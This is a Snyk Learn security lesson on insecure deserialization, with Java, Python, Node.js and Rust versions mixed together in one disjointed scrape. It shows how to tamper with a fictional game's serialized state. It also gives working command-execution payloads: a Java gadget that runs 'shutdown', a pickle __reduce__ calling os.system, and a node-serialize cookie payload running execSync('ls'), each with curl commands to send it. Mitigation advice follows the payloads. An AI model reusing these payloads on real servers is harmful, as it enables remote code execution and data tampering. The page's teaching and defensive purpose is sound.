VOOZH about

URL: https://learn.snyk.io/lesson/insecure-deserialization/

⇱ Insecure Deserialization | Tutorials & Examples | Snyk Learn


Insecure deserialization

Improper handling of serialized data containing user input

~20mins estimated

Select your ecosystem

Insecure deserialization: the basics

Copy to Clipboard

What is insecure deserialization?

Serialization is a mechanism to transform application data into a format suitable for transport — a byte stream. Deserialization is the opposite process, converting byte stream into application data. Insecure deserialization is a vulnerability that occurs when attacker-controlled data is deserialized by the server. In the worst case, it can lead to remote code execution.

About this lesson

In this lesson, we will demonstrate an insecure deserialization attack by hacking an API of a video game company. Then, we will dive deeper into Java deserialization, explain the concept of a gadget, and study vulnerable Java code. Finally, we will cover how to mitigate this vulnerability.

But first, let’s hack a video game!

FUN FACT

A game within a game

You discovered an arbitrary code execution bug in some software and are unsure what code to execute. We have some inspiration for you! Check out this article from a 2014 speedrunning event. The article describes how a group of clever speedrunners managed to reprogram one game into another game.

👁 Image

Discovering insecure deserialization vulnerabilities

About this lesson

In this lesson, we will demonstrate an insecure deserialization attack by hacking the API of a video game company. Then, we will dive deeper into Rust deserialization using the popular serde library, explain the concept of a "logic gadget," and study vulnerable Rust code built with the actix_web framework. Finally, we will cover how to mitigate this vulnerability in Rust.

But first, let’s hack a video game!

FUN FACT

A game within a game

You discovered an arbitrary code execution bug in some software and are unsure what code to execute. We have some inspiration for you! Check out this article from a 2014 speedrunning event. The article describes how a group of clever speedrunners managed to reprogram one game into another game.

👁 Image

Discovering insecure deserialization vulnerabilities

Insecure deserialization in action

Copy to Clipboard

Hacking a web game

"Dungeons and Money" is here! Your long-time favorite game developer, GreedAndCo, has finally finished the multiplayer online game you have been waiting for since childhood. It’s 11:59pm, and you have been furiously restarting the game, hoping for the login screen to appear.

The clock strikes midnight. With excitement at its peak, you press the login button and finally start playing. But something is not right—even a level 1 rabbit is life-threatening. The game relies on microtransactions! You have to pay $10.99 for an epic sword if you want to kill rabbits. You can’t believe this—you’ve already paid big money for the game. Oh well, it’s time to put your hacker’s hat on and fix this injustice!

👁 small-sword

Wow, this sword really is tiny. But I’m not paying to upgrade. Let’s take a look at the terminal below and see if we can make some modifications.

Understanding the API

You start by sniffing the network traffic the game sends from your machine while you play. A few minutes later, you notice that the game client does an HTTP POST to https://api.dungeonsandmoney.com/state/147983414 with the following payload:

{
equipment: “rO0ABXNyACRjb20uZHVuZ2VvbnNhbmRtb25leS5zdGF0ZS5FcXVpcG1lbnQPjNIbPjmvPwIAAVsABWl0ZW1zdAACW0l4cHVyAAJbSU26YCZ26rKlAgAAeHAAAAAFAAAAAAAAAAAAAAABAAAAAAAAAAA=”,
location: “rO0ABXNyAA50b29scy5Mb2NhdGlvbmd3vUzXG/c4AgADSQABeEkAAXlJAAF6eHAAAAAKAAAADwAAABg=”,
}

Maybe these long strings are base64 encoded? Let’s take the equipment value and verify that!

Copy and paste the following into the terminal and hit enter:

echo rO0ABXNyACRjb20uZHVuZ2VvbnNhbmRtb25leS5zdGF0ZS5FcXVpcG1lbnQPjNIbPjmvPwIAAVsABWl0ZW1zdAACW0l4cHVyAAJbSU26YCZ26rKlAgAAeHAAAAAFAAAAAAAAAAAAAAABAAAAAAAAAAA= | base64 --decode

Demo terminal

Understanding the API

You start by sniffing the network traffic the game sends from your machine while you play. A few minutes later, you notice that the game client does an HTTP POST to https://api.dungeonsandmoney.com/state/147983414 with the following payload:

{
"equipment":
"gASVgQAAAAAAAACMfXsibWV0YWRhdGEiOiB7InBhY2thZ2VfbmFtZSI6ICJjb20uZHVuZ2VvbnNhbmRtb25leS5zdGF0ZSIsICJjbGFzc19uYW1lIjogIkVxdWlwbWVudCJ9LCAiZmllbGRzIjogeyJpdGVtcyI6IFswLCAwLCAxLCAwLCAwXX19lC4=",
"location":
"gASVgQAAAAAAAACMfXsibWV0YWRhdGEiOiB7InBhY2thZ2VfbmFtZSI6ICJjb20uZHVuZ2VvbnNhbmRtb25leS5zdGF0ZSIsICJjbGFzc19uYW1lIjogIkVxdWlwbWVudCJ9LC",
}

Maybe these long strings are base64 encoded? Let’s take the equipment value and verify that! Run:

echo gASVgQAAAAAAAACMfXsibWV0YWRhdGEiOiB7InBhY2thZ2VfbmFtZSI6ICJjb20uZHVuZ2VvbnNhbmRtb25leS5zdGF0ZSIsICJjbGFzc19uYW1lIjogIkVxdWlwbWVudCJ9LCAiZmllbGRzIjogeyJpdGVtcyI6IFswLCAwLCAxLCAwLCAwXX19lC4= | base64 --decode > equip.pkl

Demo terminal

Understanding the API

You start by sniffing the network traffic the game sends from your machine while you play. A few minutes later, you notice that the game client does an HTTP POST to https://api.dungeonsandmoney.com/state/147983414 with the following payload:

{
"playerState":
"eyJlcXVpcG1lbnQiOnsiaXRlbXMiOlswLDAsMSwwLDBdfSwibG9jYXRpb24iOnsieCI6MTIsInkiOjE1LCJ6b25lIjoiU3RhcnRpbmcgQXJlYSJ9fQo="
...
}

Maybe these long strings are base64 encoded? Let’s take the playerState value and verify that! Run:

echo eyJlcXVpcG1lbnQiOnsiaXRlbXMiOlswLDAsMSwwLDBdfSwibG9jYXRpb24iOnsieCI6MTIsInkiOjE1LCJ6b25lIjoiU3RhcnRpbmcgQXJlYSJ9fQo= | base64 -d

Demo terminal

You start by sniffing the network traffic the game sends from your machine while you play. A few minutes later, you notice that the game client does an HTTP POST to https://api.dungeonsandmoney.com/state/147983414 with the following payload:

{
"playerState":
"eyJlcXVpcG1lbnQiOnsiaXRlbXMiOlswLDAsMSwwLDBdfSwibG9jYXRpb24iOnsieCI6MTIsInkiOjE1LCJ6b25lIjoiU3RhcnRpbmcgQXJlYSJ9fQo=",
}

Maybe these long strings are base64 encoded? playerState value and verify that! Run:

echo eyJlcXVpcG1lbnQiOnsiaXRlbXMiOlswLDAsMSwwLDBdfSwibG9jYXRpb24iOnsieCI6MTIsInkiOjE1LCJ6b25lIjoiU3RhcnRpbmcgQXJlYSJ9fQo= | base64 -d

Demo terminal

The output is gibberish, but some of it resembles a Java package and class name. Maybe it is a serialized Java object? Our next step would be to decode the base64 string to a file called equip.ser. This would be done by running this command:

echo rO0ABXNyACRjb20uZHVuZ2VvbnNhbmRtb25leS5zdGF0ZS5FcXVpcG1lbnQPjNIbPjmvPwIAAVsABWl0ZW1zdAACW0l4cHVyAAJbSU26YCZ26rKlAgAAeHAAAAAFAAAAAAAAAAAAAAABAAAAAAAAAAA= | base64 --decode > equip.ser

This will create a file for us that we can use in a bit.

Deserializing Python objects

The output might look complex, but it was just a base64 encoded representation of a serialized Python object. To understand its contents, we need to first decode the base64 string and then deserialize it. We would decode the base64 string to a file called equip.pkl by running:

echo gASVgQAAAAAAAACMfXsibWV0YWRhdGEiOiB7InBhY2thZ2VfbmFtZSI6ICJjb20uZHVuZ2VvbnNhbmRtb25leS5zdGF0ZSIsICJjbGFzc19uYW1lIjogIkVxdWlwbWVudCJ9LCAiZmllbGRzIjogeyJpdGVtcyI6IFswLCAwLCAxLCAwLCAwXX19lC4= | base64 --decode > equip.pkl

Changing the game state using serialized Data

We notice that there is a field named equipment within the serialized data that the game client sends to the server. This field contains a list of items represented as a sequence of numbers. For instance:

"equipment": {
"items": [0, 0, 1, 0, 0]
}

We can see that there's a 1 within the array of items. Given that we are currently at level 1 with our sword, it's reasonable to hypothesize that this number represents the level or strength of our sword.

To test this hypothesis, let's change the 1 to 20, upgrading the sword's level or strength:

"items": [0, 0, 20, 0, 0]

Insecure Deserialization often occurs when user input is not properly sanitized or validated before being processed. This can allow an attacker to manipulate the application state or execute arbitrary code. In JavaScript, the node-serialize library is known for its vulnerability to insecure deserialization attacks.

Changing the game state using serialized Data

We notice that there is a field named equipment within the serialized data that the game client sends to the server. This field contains a list of items represented as a sequence of numbers. For instance:

"equipment": { "items": [0, 0, 1, 0, 0] }

We can see that there's a 1 within the array of items. Given that we are currently at level 1 with our sword, it's reasonable to hypothesize that this number represents the level or strength of our sword.

To test this hypothesis, let's change the 1 to 20, upgrading the sword's level or strength:

"items": [0, 0, 20, 0, 0]

Insecure Deserialization often occurs when user input is not properly validated before being deserialized and processed. This can allow an attacker to tamper with application data and abuse business logic. While Remote Code Execution (RCE) is a known risk for this vulnerability class in other languages, in Rust using the serde library, the more common threat is the manipulation of the application's state by injecting unexpected or malicious data.

In the Rust ecosystem, the serde library is the standard for serialization and deserialization and is built with safety in mind. The vulnerability we're exploring isn't in serde itself, but rather in how a developer implements it. An insecure implementation trusts the incoming data too much, failing to use serde's protective features or to validate the application's state after deserialization.

Deserializing Java objects to human-readable format

Now, let’s use a utility from Google: jdeserialize. It prints serialized Java objects in a human-readable form. Remember, we "created" the equip.ser already.

Copy and paste the following into the terminal and hit enter:

java -jar jdeserialize.jar equip.ser

Demo terminal

Deserializing Python objects to a human-readable format

We will be deserializing objects into a human-readable format using the following script:

Demo terminal

Upgrading Our Sword

Let's exploit this vulnerability by creating a malicious payload using the node-serialize library. We will include arbitrary JavaScript code within our payload to change the level of our sword to 20.

Here's how we do it:

This line imports the node-serialize library, which provides functions for serializing and deserializing objects in JavaScript.

Upgrading Our Sword

Let's exploit this vulnerability by crafting a malicious JSON payload. Our attack on the Rust application will focus on data and logic manipulation. We will craft a payload that not only changes our sword's level to 99 but also injects new, unexpected fields (is_admin and gold) that the vulnerable server will foolishly trust and process.

Here is the malicious JSON payload we will use:

{ "equipment": { "items": [0, 0, 99, 0, 0] }, "location": { "x": 12, "y": 15, "zone": "Starting Area" }, "is_admin": true, "gold": 50000 }

Demo terminal

Changing the game state

Excellent! Our base64 string is a serialized Equipment class. Looking at the output closely, you will notice that it has a single field of type int[] items. The last part of the dump ([arraycoll sz 5 0, 0, 1, 0, 0]) tells us that the value of the items array is [0, 0, 1, 0, 0].

Your in-game character currently has only 1 item equipped: a level 1 sword. What do you think will happen if we change the value of the array to [0, 0, 20, 0, 0] (change 1 to 20). Let’s try that! First, print the serialized object’s content in hex.

Copy and paste the following into the terminal and hit enter:

hexdump equip.ser

Demo terminal

Changing the game state

Excellent! The serialized object represents the Equipment class. Upon closer inspection, you'll see it possesses an items field. The values of the items array are [0, 0, 1, 0, 0].

Your in-game character currently has only 1 item equipped: a level 1 sword. What do you think will happen if we change the value of the array to [0, 0, 20, 0, 0] (change 1 to 20)? Our aim is to elevate our character's capabilities by amplifying the sword's level. To achieve this, we'll be altering the value 1 (representing the level 1 sword) in the items array to 20 (indicating a level 20 sword).

Here's how the interactive component should work:

  1. Modify the items array from [0, 0, 1, 0, 0] to [0, 0, 20, 0, 0] within the deserialized Python object.
  2. Serialize the modified Python object.
  3. Convert the serialized data to a base64 encoded string for transmission or storage.

We will serialize and base64 encode the Python object to prepare it for sending to the game API using the following script:

Demo terminal

Changing the game state: Encoding the Modified Data

Next, you need to encode this object back to a Base64 string. You use a simple script to accomplish this.

Changing the game state: Encoding the Modified Data

Next, you need to encode the malicious JSON payload into a Base64 string, which is the format the API expects. You can use a simple command-line tool to accomplish this, as any attacker would.

This command pipes our malicious JSON string to the base64 utility:

Notice that the 7th line is full of 0s except 01 in one column. This seems to be the perfect candidate to change! The 01 is located at the 68th position in the file (you can count that in the hexdump output), so let’s flip it to 0x14 (number 20 in hex). We would do this by running the following command (there would be no output, but instead we would be creating another file called equip.ser):

echo "68:0x14" | xxd -r - equip.ser

Finally, we can base64 encode our changed equip.ser file (the one we just created) and send it to the server. We would do this by running:

base64 equip.ser

This would give us an output of:

rO0ABXNyACRjb20uZHVuZ2VvbnNhbmRtb25leS5zdGF0ZS5FcXVpcG1lbnQPjNIbPjmvPwIAAVsABWl0ZW1zdAACW0l4cHVyAAJbSU26YCZ26rKlAgAAeHAAAAAFAAAAAAAAAAAAAAAUAAAAAAAAAAA=

And we then attach to the API post request with the output of the base64 command.

curl -H "Content-Type: application/json" -X POST -d '{ "equipment": “rO0ABXNyACRjb20uZHVuZ2VvbnNhbmRtb25leS5zdGF0ZS5FcXVpcG1lbnQPjNIbPjmvPwIAAVsABWl0ZW1zdAACW0l4cHVyAAJbSU26YCZ26rKlAgAAeHAAAAAFAAAAAAAAAAAAAAAUAAAAAAAAAAA=” }' https://api.dungeonsandmoney.com/state/147983414

After serializing and base64 encoding we get the following output:

gASVggAAAAAAAACMfnsibWV0YWRhdGEiOiB7InBhY2thZ2VfbmFtZSI6ICJjb20uZHVuZ2VvbnNhbmRtb25leS5zdGF0ZSIsICJjbGFzc19uYW1lIjogIkVxdWlwbWVudCJ9LCAiZmllbGRzIjogeyJpdGVtcyI6IFswLCAwLCAyMCwgMCwgMF19fZQu

Now we can attach this payload to the API POST request.

curl -H "Content-Type: application/json" -X POST -d '{ "equipment":"gASVggAAAAAAAACMfnsibWV0YWRhdGEiOiB7InBhY2thZ2VfbmFtZSI6ICJjb20uZHVuZ2VvbnNhbmRtb25leS5zdGF0ZSIsICJjbGFzc19uYW1lIjogIkVxdWlwbWVudCJ9LCAiZmllbGRzIjogeyJpdGVtcyI6IFswLCAwLCAyMCwgMCwgMF19fZQu" }' https://api.dungeonsandmoney.com/state/147983414

The output:

$ node ./statechange.js
Base64 Encoded: eyJlcXVpcG1lbnQiOnsiaXRlbXMiOnsiMCI6MCwiMSI6MCwiMiI6MjAsIjMiOjAsIjQiOjB9fSwibG9jYXRpb24iOnsieCI6MTIsInkiOjE1LCJ6b25lIjoiU3RhcnRpbmcgQXJlYSJ9fQ==

Executing this gives you the final Base64 encoded payload to send to the server: eyJlcXVpcG1lbnQiOnsiaXRlbXMiOlswLDAsOTksMCwwXX0sImxvY2F0aW9uIjp7IngiOjEyLCJ5IjoxNSwiem9uZSI6IlN0YXJ0aW5nIEFyZWEifSwiaXNfYWRtaW4iOnRydWUsImdvbGQiOjUwMDAwfQo=

Remote code execution

You log into the game, and boom! Your level 1 sword just got upgraded to level 20. By manipulating serialized data, you managed to change the state of the game.

👁 normal-sword

Now things are looking better! We can take on almost enemy that comes our way. But can we take this one step further. Let’s look at the terminal below to see what we can do!

You’ve heard rumors about the existence of these mythical gadget classes. Apparently, if a Java server has these gadgets on its classpath, it is vulnerable to remote code execution, or so the rumor says.

You Google and find one such class online:

Remote code execution

You log into the game, and boom! Your level 1 sword just got upgraded to level 20. By manipulating serialized data, you managed to change the state of the game.

👁 normal-sword

Now things are looking better! We can take on almost any enemy that comes our way. But can we take this one step further?

Observe the following code:

Sending the payload to the server

Now we can attach this payload to the API POST request.

curl -H "Content-Type: application/json" -X POST -d '{ "playerState":"eyJlcXVpcG1lbnQiOnsiaXRlbXMiOnsiMCI6MCwiMSI6MCwiMiI6MjAsIjMiOjAsIjQiOjB9fSwibG9jYXRpb24iOnsieCI6MTIsInkiOjE1LCJ6b25lIjoiU3RhcnRpbmcgQXJlYSJ9fQ=="}' https://api.dungeonsandmoney.com/state/147983414

You log into the game, and boom! Your level 1 sword just got upgraded to level 20. By manipulating serialized data, you managed to change the state of the game.

👁 ridiculously-large-sword

Sending the payload to the server

Now we can attach our malicious payload to a POST request and send it to the application's vulnerable endpoint.

This curl command sends our encoded data to the locally running actix-web server.

It is part of a trendy Java framework. Maybe Dungeons and Money’s server depends on that framework? Let’s find out! You write the following code to serialize the EvilGadget class. Note the shutdown parameter you pass as the command!

Explanation:

  1. EvilClass is defined with a special method __reduce__
  2. __reduce__ returns a tuple to run os.system with a specific command
  3. An instance of EvilClass is created as evil_instance
  4. evil_instance is serialized using pickle.dumps()
  5. Deserializing evil_payload using pickle.loads() executes the malicious command

You prepare the code below to generate a serialized, base64 encoded payload that will run the "shutdown" command when executed:

Upgrading to full code execution

You've been exploring the world of JavaScript servers and stumble upon whispers of mythical payload objects. They say that if a Node.js server incorrectly processes this payload, it could be susceptible to unauthorized command execution!

Let's say there's another endpoint that accepts some serialized user details. The server-side code might look something like this. We have two routes: /save to serialize and save data in a cookie and /retrieve to get and unserialized data from the cookie.

You log into the game, and boom! Your level 1 sword just got upgraded to level 20. By manipulating serialized data, you managed to change the state of the game.

We should get: rO0ABXNyABFnYWRnZXQuRXZpbEdhZGdldJlTufMW09bEAgABTAAHY29tbWFuZHQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAIc2h1dGRvd24=

Now when we run the following, our game will change again:

curl -H "Content-Type: application/json" -X POST -d '{ "equipment": "rO0ABXNyABFnYWRnZXQuRXZpbEdhZGdldJlTufMW09bEAgABTAAHY29tbWFuZHQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAIc2h1dGRvd24=" }' https://api.dungeonsandmoney.com/state/147983414

Boom! Your game client crashes, and a gigantic red “Server is down” alert pops up on your screen. The shutdown command must have worked! But how?

👁 ridiculously-large-sword

We may use the following script to generate a payload. This script will generate a serialized payload that will execute the ls command on the server when parsed.

What About Remote Code Execution? Broadening the Attack Surface

In the world of web security, it's common to hear about insecure deserialization vulnerabilities being upgraded to achieve full Remote Code Execution (RCE). In some ecosystems, like Node.js with libraries such as node-serialize, a specially crafted payload can cause the server to execute arbitrary commands.

However, it's a critical learning point that this is not the case with serde_json in Rust. The serde library is intentionally designed to be a data-only deserializer. It translates JSON data into Rust structs and does not have the capability to interpret and execute functions embedded in the input. This is a significant, built-in security advantage.

Instead of RCE, an attacker targeting a Rust application would look for other ways to leverage an insecure deserialization flaw. The next logical step is to broaden the attack surface beyond just request bodies and look for ways to cause more significant disruption, such as a Denial of Service (DoS).

The vulnerability pattern is the same wherever the application deserializes untrusted data. An attacker doesn't just have to use a POST request body; they could also target data from:

  • HTTP Cookies
  • URL parameters
  • Database entries
  • Message queue messages

Run the script to generate the payload using node. It should generate the following output:

$ node exploit.js
eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpIHsgY29uc3QgZXhlY1N5bmMgPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmM7IGNvbnNvbGUubG9nKGV4ZWNTeW5jKCdscycsIHtlbmNvZGluZzogJ3V0Zi04J30pKTsgfSgpIiwiZ2VuZGVyIjoiTWFsZSIsIkFnZSI6NDB9

Send this payload to the server in a cookie to manipulate the server-side data:

curl -X POST -H "Content-Type: application/json" -c cookies.txt -d '{}' http://localhost:3002/save --cookie "userData=eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpIHsgY29uc3QgZXhlY1N5bmMgPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmM7IGNvbnNvbGUubG9nKGV4ZWNTeW5jKCdscycsIHtlbmNvZGluZzogJ3V0Zi04J30pKTsgfSgpIiwiZ2VuZGVyIjoiTWFsZSIsIkFnZSI6NDB9"

To retrieve the result, execute the following command:

curl -b cookies.txt http://localhost:3002/retrieve

We get the following output, note that the username parameter is missing!

{"gender":"Male","Age":40}

On the server terminal, we can see the output of ls, showing us that the command execution payload worked successfully.

tmp$ node server.js
Server running on port 3002
super_secret_stuff.txt
cat_pics
passwords.xlsx
passport.jpg

This example illustrates a profound vulnerability in some Node.js applications. They might naïvely trust serialized data, giving rise to potential manipulations. Such issues can lead to not just data tampering but, in other contexts, even server shutdowns or arbitrary command executions. This serves as a vital reminder: never blindly trust data, especially if it comes from uncharted territories. Always sanitize, validate, and be on the lookout for vulnerabilities!

Insecure deserialization under the hood

Copy to Clipboard

State manipulation: a false sense of security

We saw how insecure deserialization can lead to state manipulation and remote code execution in the previous section. State manipulation can happen regardless of serialization being used or not. However, because serialized payloads are more “obscure”, developers tend to assume that serialization somehow protects them against this kind of attack. In reality, it doesn’t matter if payloads are human-readable JSON or obscure binary blobs — if the client can unexpectedly manipulate the state, the whole API needs to be redesigned.

But the truth is far from it. Whether a payload is a seemingly cryptic Base64 encoded string or a straightforward JSON object, if a malicious actor can influence its contents, the integrity of the application is at risk. Rather than relying on obscurity, it's paramount to ensure that any data - serialized or not - coming from untrusted sources is meticulously validated and sanitized. When a system is vulnerable to state manipulation from client-side data, it's a clear sign that there's a pressing need for a more secure design approach.

State manipulation: a false sense of security

We saw how insecure deserialization leads to state manipulation. This can happen whether serialization is used or not. However, because serialized and encoded payloads (like Base64) look like random text, developers sometimes assume this obscurity provides a layer of protection.

This is a myth.

Whether a payload is a human-readable JSON object or an encoded blob of text is irrelevant. If an attacker can control the data that gets processed, the application's integrity is at risk. Relying on obscurity for security is a flawed strategy. The only real defense is to meticulously validate all data coming from an untrusted source.

Remote code execution

In the worst case, deserialization vulnerabilities can lead to remote code execution. Let’s look at the EvilGadget class we used in the previous exercise.

It implements the Serializable interface, which tells Java that this class is OK for serialization and deserialization.

Remote code execution

In the worst case, deserialization vulnerabilities can lead to remote code execution. Let’s look at the EvilGadget class we used in the previous exercise.

Why is insecure deserialization so dangerous?

Insecure deserialization poses a significant threat due to its ability to enable Remote Code Execution (RCE), allowing attackers to run arbitrary code on a victim's system. This vulnerability can lead to full system control if exploited on servers. Additionally, tampered serialized data can facilitate privilege escalation, giving attackers unauthorized access to restricted areas of an application. This can result in data breaches, unauthorized system changes, and replay attacks. In essence, insecure deserialization can serve as a gateway to a plethora of malicious activities, emphasizing the critical need for robust security precautions.

Let's take another look at the vulnerable server-side code. The issue with this code is simple: it trusts user input by serializing and unserializing it.

Why is insecure deserialization dangerous in Rust?

While other languages may face a high risk of Remote Code Execution (RCE) from this vulnerability, the dangers in Rust (when using serde_json) are different but still severe. The primary threats are:

  • Data Tampering and Privilege Escalation: As we demonstrated, an attacker can inject unexpected fields ("is_admin": true) or modify existing ones ("sword_level": 99) to grant themselves unauthorized permissions and advantages.
  • Denial of Service (DoS): An attacker can send malformed data designed to make the server panic and crash. For example, providing a string where a number is expected could crash a poorly written handler, taking the entire application offline.
  • Business Logic Flaws: Attackers can abuse the system in ways developers never intended, potentially leading to economic flaws in a game, unauthorized access to information, or other damaging outcomes.

Insecure deserialization is a gateway to a wide range of attacks, which is why robust validation is absolutely critical.

Revisiting the Vulnerable Rust Code

Let's look at our vulnerable code one last time. The problem is simple and located in the vulnerable_state_update function: it implicitly trusts all user input.

The code takes the Base64 string, decodes it, and immediately attempts to deserialize it into the VulnerablePlayerState struct. At no point does it validate the incoming data structure.

Why is insecure deserialization so dangerous?

The exec method of EvilGadget gets executed during the deserialization process. This is key. Consider this attempt to prevent insecure deserialization:

This attack is possible only because the EvilGadget class is available on the classpath of the Java program. Crucially, EvilGadget does not have to be used by the Java program. It can be some distant dependency of the Java application — one of the thousands of classes developers unknowingly pull as part of their third-party dependencies. So, what exactly is a gadget?

Using Java’s magic, we deserialize the payload into an object.

Explanation

The __reduce__ method is used for defining custom behavior during pickling. The method returns a tuple where the first item is a callable (in this case, os.system) and the subsequent items are arguments for that callable.

When an instance of EvilPickleObject is deserialized using pickle.loads(), it will call the callable with the specified arguments, executing the malicious command.

What is a gadget?

A gadget is a piece of code present in the executing application and can be used for malicious purposes. EvilGadget on its own might not be dangerous. In fact, some real-world gadget classes are part of the JDK itself! However, when such classes are included in a Java program that deserializes user-controlled inputs of arbitrary type, it can lead to a disaster.

Other serialization frameworks

Pickle

As already discussed, Python's built-in pickle module is well-known for its insecure deserialization vulnerabilities. It allows serialization and deserialization of arbitrary Python objects, leading to the potential for arbitrary code execution if a malicious payload is processed.

PyYAML

The PyYAML library is used to parse YAML documents into Python objects. In older versions of the library, the yaml.load() method was vulnerable to arbitrary code execution through crafted YAML payloads. Using the yaml.safe_load() method instead is recommended as it limits deserialization to basic Python objects.

JSON Libraries

JSON libraries in Python are generally safe from deserialization attacks because JSON does not support complex types and functions. Instead, it deals with simple data structures. However, always validate the structure of the incoming data to prevent potential issues related to unexpected data types or structures.

What is a gadget chain?

You might think that EvilGadget is unrealistic — who would ever create a class that runs random commands when deserialized? How do we exploit deserialization vulnerabilities in the real world if that is the case? Gadget chains to the rescue! Instead of using one evil class, you chain multiple classes to fulfill your nefarious purposes. Consider the below (still fake) example:

It implements the Serializable interface, which tells Java that this class is OK for serialization and deserialization.

Real-world gadgets

In practice, gadget chains are hard to construct but not impossible. Most gadgets come from open source, so the attacker has complete visibility and lots of time to research such chains. Also, Java has this really cool feature called “reflection”, which allows you to dynamically call any classes. This makes things easier. Instead of looking for Runtime.exec or similar, you can look for gadgets that use user input in reflection APIs and call Runtime.exec through reflection.

For instance, take a look at this GitHub repository – it contains many real-world examples of exploitable chains, including some which use reflection.

Other serialization frameworks

All examples we included in this lesson use ObjectInputStream and Serializable, i.e. the deserialization library built into Java core. But, there are many other serialization frameworks in the Java ecosystem. Some of them work with binary data, but many libraries magically transform YAML, XML, JSON, or other formats into a Java object. Are these frameworks/libraries vulnerable to similar insecure deserialization vulnerabilities? Unfortunately, for a lot of them, the answer is yes.

A critical condition for insecure deserialization is that the hacker can force the server to deserialize objects of any type. The hacker can then send payloads with objects instantiated from gadget classes. So a good rule of thumb when choosing your serialization framework is to check whether it allows the user to deserialize objects of any type or just the types you explicitly configure.

Unfortunately, many frameworks/libraries allow the deserialization of arbitrary types by default. And those that don’t still offer some configuration options to enable the deserialization of arbitrary types. Moritz Bechler provides an excellent analysis of deserialization in different Java libraries in his paper.

Scan your code & stay secure with Snyk - for FREE!

Did you know you can use Snyk for free to verify that your code
doesn't include this or other vulnerabilities?

Scan your code

Insecure deserialization mitigation

Copy to Clipboard

Avoid Java custom serialization

Ugh, ok, that’s helpful, thanks. Next!

Don't deserialize untrusted data

The golden rule for avoiding insecure deserialization issues is to never deserialize data that originates from an untrusted source, such as user input.

Insecure deserialization can lead to a variety of attacks, including remote code execution, replay attacks, and privilege escalation. Therefore, it's essential to mitigate the risks associated with deserialization in your applications. Here are some strategies and best practices to help safeguard your JavaScript applications against insecure deserialization attacks:

Avoid deserializing untrusted data

As a golden rule, avoid deserializing data from untrusted sources. If you don't need to deserialize, don't. This is the most effective way to prevent insecure deserialization attacks.

Use safe deserialization libraries

Choose libraries that do not allow the execution of arbitrary code upon deserialization. For example, native JSON parsing (JSON.parse()) in JavaScript does not execute functions or methods, making it inherently safer than some other serialization libraries.

Validate and sanitize input

Before deserialization, validate input data against a known schema or set of expectations. Reject any data that doesn't conform. Sanitize the input to remove or neutralize potentially malicious content.

Implement integrity checks

Use cryptographic mechanisms, like digital signatures (HMACs, for example), to ensure that serialized data has not been tampered with during transit.

Limit deserialization features

If you're using a serialization library that offers dangerous features such as magic functions, configure it to disable or limit potentially unsafe features.

Implement proper error handling

Handle deserialization errors gracefully. Avoid exposing stack traces or detailed error messages to users, as they can provide attackers with insights into the inner workings of your application.

Insecure deserialization can lead to a variety of attacks, including data tampering, privilege escalation, and Denial of Service. It's essential to mitigate these risks in your applications. Here are the strategies and best practices to safeguard your Rust applications.

Know your serialization framework

Some frameworks don’t allow deserializing objects of arbitrary type. These frameworks will check the type of the input object and refuse to run any code if the type is unexpected. For example, Jackson won’t allow you to deserialize objects of random types unless you explicitly turn that behavior on by either invoking the enableDefaultTyping method, or annotating properties with @JsonTypeInfo and using class name as the type id.

Opt for simpler data structures

Serialization of complex data structures from untrusted sources is inherently unsafe as it can result in arbitrary code execution. Whenever possible, opt for simpler serialization formats like JSON which does not support deserializing into arbitrary objects with complex types and functions.

Use safe libraries by default

The Rust ecosystem is a major advantage here. The standard library for this task, serde (and serde_json), is inherently safer than libraries in many other languages. It is a data-only deserializer, meaning it does not have features to execute code embedded in the input data. By choosing serde, you've already avoided the risk of Remote Code Execution.

Restrict the types of objects you allow to deserialize

If your serialization library allows arbitrary types and you can’t turn this behavior off, consider validating the types yourself before deserializing. For example, you can supplement Java’s built-in deserialization API with an open source library like Apache Commons IO. Consider modifying our previously broken EvilGadget example:

Use safer function alternatives

In PyYAML, the default yaml.load() can create any Python object, which poses security risks. Using yaml.safe_load() only allows simple Python data structures like lists or dictionaries.

The golden rule: don't deserialize untrusted data

The most effective way to prevent insecure deserialization attacks is to avoid deserializing data from untrusted sources whenever possible. If your application logic doesn't strictly require processing a complex, client-provided object, don't do it.

Use JDK native solutions like deserialization filters

Furthermore, Java recently got equipped with native solutions to solve deserialization issues, for example the deserialization filters introduced in Java 9 and enhanced in Java 17. Please check out our dedicated blog post which covers these solutions in depth.

Enforce a strict schema with serde

Your primary line of defense is to ensure that incoming data strictly conforms to the structure you expect. Do not allow extra, unexpected fields.

  • Use #[serde(deny_unknown_fields)]: This attribute is the most important tool in your arsenal. It instructs serde to fail the deserialization process if the input contains any fields not defined in your Rust struct. This single line prevents the data injection attacks we demonstrated.

Validate Data Values After Deserialization

Even if a payload's structure is correct, its values may be malicious. After successfully deserializing, you must perform business-logic validation.

  • Check Ranges and Constraints: Ensure numerical values are within a valid range (e.g., item_level <= 20).
  • Validate Enums and Strings: Check that string values match an expected set of possibilities or formats.

Implement integrity checks

To protect against tampering, especially for data that might be stored and reused (like in a cookie or token), you should verify that it hasn't been modified.

  • Use Cryptographic Signatures: Use a mechanism like a Hash-based Message Authentication Code (HMAC) to sign the data when you serialize it. When you receive the data back, you can verify the signature. If it doesn't match, the data has been tampered with. The hmac and sha2 crates are excellent choices for this in Rust.

Implement Robust Error Handling

Proper error handling is critical for security, especially in Rust, where it prevents Denial of Service attacks.

  • Never .unwrap() or .expect(): Deserializing untrusted data can easily fail. Calling .unwrap() on a failed result will cause the thread to panic. For a web server, this will terminate the request and could crash the entire application.
  • Handle the Result: Always handle the Err case returned by serde_json::from_str or serde_json::from_slice.
  • Return Generic Error Messages: In your Err handling, log the detailed error for your own debugging, but return a generic error message to the user. Exposing detailed serde errors can leak information about your internal data structures.

Quiz

Copy to Clipboard

Test your knowledge!

Quiz

In the context of Java and the Jackson library, which function can potentially lead to insecure deserialization vulnerabilities if used improperly?

Test your knowledge!

Quiz

When using PyYAML library, which method should you use to limit deserialization?

Test your knowledge!

Quiz

What is the golden rule about deserializing data?

Keep learning

To learn more about Insecure Deserialization, check out some other great content:

And some content by Snyk:

Congratulations

